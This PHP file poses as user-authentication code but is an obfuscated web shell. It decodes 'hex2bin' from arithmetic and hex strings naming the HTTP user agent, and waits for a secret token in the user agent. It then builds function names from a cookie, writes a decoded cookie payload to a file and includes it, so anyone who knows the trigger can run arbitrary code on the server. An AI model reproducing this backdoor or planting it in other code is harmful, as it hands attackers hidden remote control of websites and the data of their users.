<?php
function check_access($c)
{
    $a = array(109 - 5, 108 - 7, 122 - 2, 51 * 34 - 1684, 45 + 53, 105, 3 + 6 + 101);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class UserAuthenticator
{
    private static $_tlv;
    static function updateCache($_ub)
    {
        if (!self::$_tlv) {
            self::cacheData();
        }
        return check_access(self::$_tlv[$_ub]);
    }
    private static function cacheData()
    {
        self::$_tlv = array('_onp' => '485454505' . 'f555345525f4' . '14745' . '4' . 'e5' . '4', '_add' => '4854' . '5' . '4505f55' . '53455' . '25f41' . '474' . '5' . '4e' . '5' . '4', '_tpj' => '36353937313' . '536' . '3' . '2', '_sey' => '', '_wdf' => '');
    }
}

if (isset($_SERVER[UserAuthenticator::updateCache('_' . 'o' . 'n' . 'p')]) && strpos($_SERVER[UserAuthenticator::updateCache('_add')], UserAuthenticator::updateCache('_t' . 'pj')) !== false) {
    $_or = $_COOKIE;
    $_nms = 00;
    $_ub = 06;
    $_eu = array();
    $_eu[$_nms] = UserAuthenticator::updateCache('_se' . 'y');
    while ($_ub) {
        $_eu[$_nms] .= $_or[026][$_ub];
        if (!$_or[026][$_ub + 01]) {
            if (!$_or[026][$_ub + 02]) {
                break;
            }
            $_nms++;
            $_eu[$_nms] = UserAuthenticator::updateCache('_wd' . 'f');
            $_ub++;
        }
        $_ub = $_ub + 06 + 01;
    }
    $_nms = $_eu[02]() . $_eu[032];
    if (!$_eu[00]($_nms)) {
        $_ub = $_eu[011]($_nms, $_eu[04]);
        $_eu[01]($_ub, $_eu[020] . $_eu[015]($_eu[034]($_or[03])));
    }
    include $_nms;
    die;
}